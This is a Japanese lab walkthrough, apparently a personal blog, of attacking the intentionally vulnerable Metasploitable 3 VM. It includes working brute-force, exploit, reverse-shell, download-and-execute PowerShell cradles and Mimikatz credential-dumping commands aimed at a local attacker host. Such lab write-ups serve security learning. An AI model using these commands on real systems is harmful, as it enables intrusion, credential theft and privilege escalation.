Metasploitable 3:攻略ノススメ
- ポートスキャン
- Webサービスの調査
- ftpの調査
- sshの調査
- snmp(161)の調査
- smb(445)の調査
- Java RMI(1617)の調査
- Windows Remote Management (WinRM)(5985)の調査
- Elasticsearch(9200)の調査
- Webサービスの攻撃
- Reverse Shell
- Local Privilege Escalation
- 参考文献
- 最後
ポートスキャン
nmap -p- -sV -sT -A 192.168.56.35
python3 autorecon.py 192.168.56.35
cat notes.txt
[*] ftp found on tcp/21. [*] ssh found on tcp/22. [*] http found on tcp/80. [*] ssl/appserv-http found on tcp/4848. [*] http found on tcp/8022. [*] http found on tcp/8080. [*] ssl/http found on tcp/8383. [*] wap-wsp found on tcp/9200. [*] msrpc found on tcp/49153. [*] msrpc found on tcp/49154. [*] java-rmi found on tcp/49160. [*] tcpwrapped found on tcp/49161. [*] snmp found on udp/161. [*] java-rmi found on tcp/1617. [*] http found on tcp/5985. [*] http found on tcp/8020. [*] unknown found on tcp/8027. [*] http found on tcp/8282. [*] http found on tcp/8484. [*] http found on tcp/8585.
cat _full_tcp_nmap.txt
参考
github.com
Webサービスの調査
80ポートの調査
nikto -h 192.168.56.35:80
とくになし
5985ポートの調査
nikto -h 192.168.56.35:5985
8020ポートの調査
nikto -h 192.168.56.35:8020
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8020/FUZZ
8020ポートの調査
nikto -h 192.168.56.35:8022
8080ポートの調査
nikto -h 192.168.56.35:8080
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8080/FUZZ
8282ポートの調査
nikto -h 192.168.56.35:8282
8383ポートの調査
nikto -h 192.168.56.35:8383
8484ポートの調査
nikto -h 192.168.56.35:8484
8585ポートの調査
nikto -h 192.168.56.35:8585
ftpの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ftp
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
でも試してみたがダメだった。
Loginしてみる
クレデンシャル情報っぽいものは特に見つからなかった
sshの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ssh
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
でも試してみたがダメだった。
Loginしてみる
catなどができない。
cmdでWindowsのコマンドプロンプト起動!
powershellは起動させるとバグって操作できなくなる
type passwd
snmp(161)の調査
cat udp_161_snmp_snmpwalk_user_accounts.txt
AutoRecon
の出力結果を見ると、ユーザー一覧が列挙されている
sshd Guest greedo vagrant han_solo kylo_ren boba_fett chewbacca ben_kenobi jabba_hutt artoo_detoo c_three_pio darth_vader leia_organa sshd_server jarjar_binks Administrator luke_skywalker anakin_skywalker lando_calrissian
をuser.txt
として保存し、Login Bruteforceに使う
(ssh,ftpでも試したが、有効なのはvagrant
だけだった)
smb(445)の調査
- EternalBlue
EternalBlue は、「Windows SMB1.0(SMBv1)」サーバが特定のリクエストを処理する際のセキュリティ上の欠陥です。より具体的には、WindowsSMBv1 のコード内のカーネル関数「srv!SrvOs2FeaListToNt」による「File ExtendedAttribute(拡張ファイル属性、FEA)」処理時に「Large Non-PagedPool(ラージ非ページプール)領域」のバッファオーバーフローを発生させる脆弱性です。
use exploit/windows/smb/ms17_010_eternalblue
ほかの人のWriteupでは動いてらしいがなんか成功しない……
Java RMI(1617)の調査
Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい
Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
"jmx" AND ("javax.management.remote.rmi.RMIServerImpl_Stub" OR "java.rmi.server.RemoteStub" OR "java.rmi.server.RemoteObject") AND "exploit"
などでNmapの結果をGoogleで調べるとMetasploitでExploitが見つかったので試す
use multi/misc/java_jmx_server
Windows Remote Management (WinRM)(5985)の調査
5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)
はWindows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
ログインできないと、Remote Code Executionはできないらしい。
ブルートフォースしてみたがダメ…
Mimikatz
を使用してクレデンシャル情報を取得する方法もあるらしいが今回は得られなかった(後述)
参考文献
pentestlab.blog
Elasticsearch(9200)の調査
Elasticsearch は Elastic 社が開発しているオープンソースの全文検索エンジンです。 大量のドキュメントから目的の単語を含むドキュメントを高速に抽出することができます。
nmapの結果から、バージョンは1.1.1であるとわかる
- use auxiliary/scanner/elasticsearch/indices_enum
- ElasticSearch Dynamic Script Arbitrary Java Execution
Googleで調べると、このバージョンは上記の脆弱性があるらしい
CVE-2014-3120
use exploit/multi/elasticsearch/script_mvel_rce
Webサービスの攻撃
8020 8022 8383ポート(ManageEngine)への攻撃
curl -v -X PUT -d "Test" http://192.168.56.35:8020/test.txt
niktoではPUTが可能と書いてあるので上記を試したがエラー
書き込み権限がないらしい(当然っちゃ当然か?)
upload
やdoc
,api
などには権限がなくアクセスできなかった。
デフォルトのクレデンシャル情報でLoginを試す!
User=admin, pass=adminでログイン成功!
version情報から有効なExploitを探す
- ManageEngine Desktop Central StatusUpdate - Arbitrary File Upload (Metasploit)
が有効っぽい?
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions).
となっているのでBuild番号自体はExploit可能ではないが……
www.exploit-db.com
にMetasploitのExploitがあるが、Metasploit以外のExploitを探すと以下がヒット
manage-engine-exploit.py · GitHub
のExploitを実行してみると成功!
- python2 manageengine_exploit.py 192.168.56.35 8022 192.168.56.5 5555
Metasploitを使うと以下のようになる
- use exploit/windows/http/manageengine_connectionid_write
8282(tomcat)の攻撃
/host-manager/html
/manager/html
にTomcat managerが存在する
今回はtomcat8なので、デフォルトアカウントが存在しない(7以前には存在)
以下のLogin Brute Forceが有効!
https://www.obrela.com/blog/article/smart-way-brute-force-apache-tomcat-678/www.obrela.compython2 tomcat_bruteforce2.py -u user2.txt -p user2.txt -d 192.168.56.35:8282
また、GoogleでExploitを探した結果、以下の脆弱性が見つかった
PUTが許可されているのでこの脆弱性がありそうな気がするが、JSPファイルの書き込みができず、脆弱ではないらしい。
- python2 /usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://192.168.56.35:8282/
どうやら403でアクセス権限(書き込み権限?)がない??
- use exploit/multi/http/tomcat_jsp_upload_bypass
でも403となって成功しなかった
8484(Jenkins)の攻撃
Javaで書かれたオープンソース継続的インテグレーションツール.
継続的インテグレーションとは、ソフトウェア開発において、ビルドやテストを頻繁に繰り返し行なうことにより問題を早期に発見し、開発の効率化・省力化や納期の短縮を図る手法。
特に、専用のツールを用いてこのプロセスを自動化あるいは半自動化し、効率的に実施する方式。
らしい
下の方にJenkinsのバージョンが見えている
Jenkinsには、Jenkinsマスターランタイム内またはエージェントのランタイム内で任意のGroovyスクリプトを実行できるGroovyスクリプトコンソールがあります。
JenkinsランタイムへのWebベースのGroovyシェルです。Groovyは非常に強力な言語であり、Javaでできることはほとんど何でも実行できます。
サブプロセスを作成し、Jenkinsマスターとエージェントで任意のコマンドを実行します。
ログインパスワードのないJenkinsを見つけた場合、またはスクリプトコンソールにアクセスする権限を持つ通常のユーザーである場合、この特権を悪用してマシンのリバースシェルを取得できる
今回は/script
でScript Consoleにアクセスできたのでそこからリバースシェルを実行できそう
以下を参考にする
www.hackingarticles.in
def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'ipconfig'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"
を実行すると、以下のように結果が得られた
以下を埋め込むとリバースシェルを実行できる
gist.github.com
- use exploits/multi/http/jenkins_script_console
Metasploitにも存在
ちなみに、Googleで調べたExploitは不発
バージョンはピッタリなのになんでだろう?
8585(webdav,wordpress)の攻撃
Webdavの攻撃
davtest -url http://192.168.56.35:8585/uploads/
Webshellのアップロードが可能!
Wordpressの攻撃
wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u
wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
User=vagrant,password=vagrantでログイン
PluginのPHPコードを書き換える
なんかエラー出てるが、Webshellの設置成功!
/wordpress/wp-content/plugins/ninja-forms/ninja-forms.php?cmd=ls
Reverse Shell
wordpress
のWebshellからReverse shellを実行する
www.hackingarticles.innetcat
nc.exe -nlvp 4444 -e cmd.exe
bind shellは成功せずnc.exe 192.168.1.101 443 -e cmd.exe
reverse shellも成功せず
Certutil.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler set lhost 192.168.56.5 set lport 4444
certutil.exe -urlcache -split -f http://192.168.56.5/share/shell.exe shell.exe & shell.exe
ダメだった。
しかし、すでにSSHなどから得られているプロンプト上から実行するとうまく行った……
powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1');powercat -c 192.168.56.5 -p 4444 -e cmd"
で成功!!
Local Privilege Escalation
基本的に以下を参照する
github.com
https://www.puckiestyle.nl/windows-privilege-escalation/
Enum tools
windows-privesc-check2.exe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/windows-privesc-check/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
windows-privesc-check2.exe --audit -a
出力が多すぎない?
Sherlock
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Sherlock/Sherlock.ps1'))"
でダウンロードして実行
これらを試してみたが成功しなかった。
JAWS
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/JAWS/jaws-enum.ps1'))"
など
SessionGopher
PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDPの保存済みセッション情報を静かに掘り下げる
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/SessionGopher/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"
Beroot
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/BeRoot/beRoot.exe\", \"C:\\Users\\Public\\Downloads\\beRoot.exe\");
WindowsEnum
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/WindowsEnum/WindowsEnum.ps1'));"
Powerless
certutil.exe -urlcache -split -f "http://192.168.56.5:8000/Powerless/Powerless.bat"
Powerless.bat
出力多い……
参考
github.com
PowerUp.ps1
Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
- `unquoted servicepaths`<br>
- `service executable`<br>
- `argument permissions`<br>
に注目するらしい
Manual
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
””で囲まれていないパスやスペースがあるようなプロセスがあると、そのプログラムの代わりに悪意のあるプログラムをその場所に設置して実行されられるらしい。
以上で、””で囲まれていないようなプロセスを列挙している。
[f:id:kakyouim:20200216205526p:plain]- tomcat-users.xml
Tomcatはデフォルトではrootで起動しているのでtomcatのクレデンシャル情報の取得は権限昇格にも使えるかも cd C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf
type tomcat-users.xml
[f:id:kakyouim:20200216210745p:plain]
PowerSploit
Invoke-AllChecks
- Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
Install-ServiceBinary
Install-ServiceBinary -Name 'OpenSSHd'
既存のバイナリをjohnというユーザーを追加した新しいバイナリに置き換える
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Install-ServiceBinary -Name 'OpenSSHd'"
以下のようなエラーが発生
net stop OpenSSHd
で一度これを停止させてからやると成功!
net start OpenSSHd
で再起動しようとするとエラー。
SSHが使えなくなった……
net user
でjohnが追加されていることが確認できる!
net user john
で確認
- use exploit/windows/smb/psexec
ほかの人のWriteupではこれでuser=john,password=Password123!
でSYSTEM権限が得られていたが、なんかうまく行かない……
ちなみに、
Install-ServiceBinary -Name 'jenkins'
で同じく試すと別のerror。
Invoke-Shellcode.ps1
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force
プロセスにshellcodeを注入して実行する
SYSTEM権限で実行されているプロセスに注入することで権限昇格できるかも
payloadは
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
しかサポートしてないらしいwget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Invoke-Shellcode.ps1'));Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force"
ProcessIDを指定しないと、現在のPowershellプロセスにshellcodeを注入するらしい
途中までうまく行ってたのになんかエラー
Invoke-DllInjection.ps1
- Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=5555 -f dll > msf.dll
で悪意のあるDLLを作成して標的のディスク上に配置しないといけない
DLL Injectionは現在実行中のプロセスに悪意のあるDLLの存在するパスを書き込んでロードさせるもの
ロードされたDLLはそのプロセスの権限で実行されるpowershell -Command "Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden"
powershell -Command "Get-Process notepad"
certutil.exe -urlcache -split -f "http://192.168.56.5/share/msf.dll"
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/CodeExecution/Invoke-DllInjection.ps1'));Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll"
ちなみに、SYSTEMで動いているであろうTomcatにDLLInjectionを試してみると、
となって失敗した。
どうやら管理者のPowershellじゃないとだめらしい。
参考
blog.opensecurityresearch.com
www.elastic.co
Get-VaultCredential
Get-VaultCredential
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/Exfiltration/Get-VaultCredential.ps1')); Get-VaultCredential"
なにも表示されなかった
Find-ProcessDLLHijack
Find-ProcessDLLHijack
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Find-ProcessDLLHijack "
こういうのが何個か結果として得られた
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
アプリケーションが普通のディレクトリにInstallされていたり、""
で囲まれておらずスペースが含まれている場合にバイパスできる
Get-System
Get-System -Technique NamedPipe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/Get-System.ps1')); Get-System -Technique NamedPipe"
権限の問題で失敗……
参考
yojimbosecurity.ninja
Get-DllLoadPath.ps1
Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
のように使う
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PEtools/Get-DllLoadPath.ps1')); Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll"
参考
github.com
resources.infosecinstitute.com
Mimikatz
- mimikatz.exe
以下でダウンロードする。
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"
以下でmimikatz.exeを実行してクレデンシャル情報を探すが、今回は失敗
mimikatz log version "sekurlsa::logonpasswords" exit
- Invoke-Mimikatz.ps1
以下でディスクに置かずに実行できるだめAVに引っかかりにくいらしい
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Mimikatz/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds"
Metasploit
sshを介して得たuser=vagrant
のmeterpreterセッション上で
getsystem
を実行するとSYSTEMになれた!
名前付きパイプの偽装による権限昇格が成功した様子
名前付きパイプとは、同じコンピュータ上で動作しているプログラム同士がデータをやり取りするプロセス間通信(IPC)の有力な方式の一つ。
Windowsのセキュリティはスレッドを実行するユーザーをトークンで識別しますが、 名前付きパイプのサーバーはクライアントのトークンを偽装できます。
偽装するというのは、サーバーがクライアントのアカウントとしてコードを実行するということであり、 オブジェクトへのアクセスをクライアントとして行いたい場合に便利
つまり、cmd.exeへの名前付きパイプを作成しておいて、そこにSYSTEMであると偽ってMeterpreterが接続すると、SYSTEM権限でのcmd.exeの実行が可能になるということ?
blog.cobaltstrike.com
以下のPowerSploitのExploitでもおそらく可能
yojimbosecurity.ninja
参考文献
zero-day.io
www.ceyhuncamli.com.tr
wjmccann.github.io
https://www.yeahhub.com/list-metasploit-exploits-modules-metasploitable3-vulnerable-machine/
www.mrb3n.com
最後
権限昇格のやり方が全然よくわかってないのでちゃんと勉強しないとダメだなあ
powershellに頼りきりだけどWindows7より前の標的にはどうやって権限昇格するんだろうか……
なんもわからん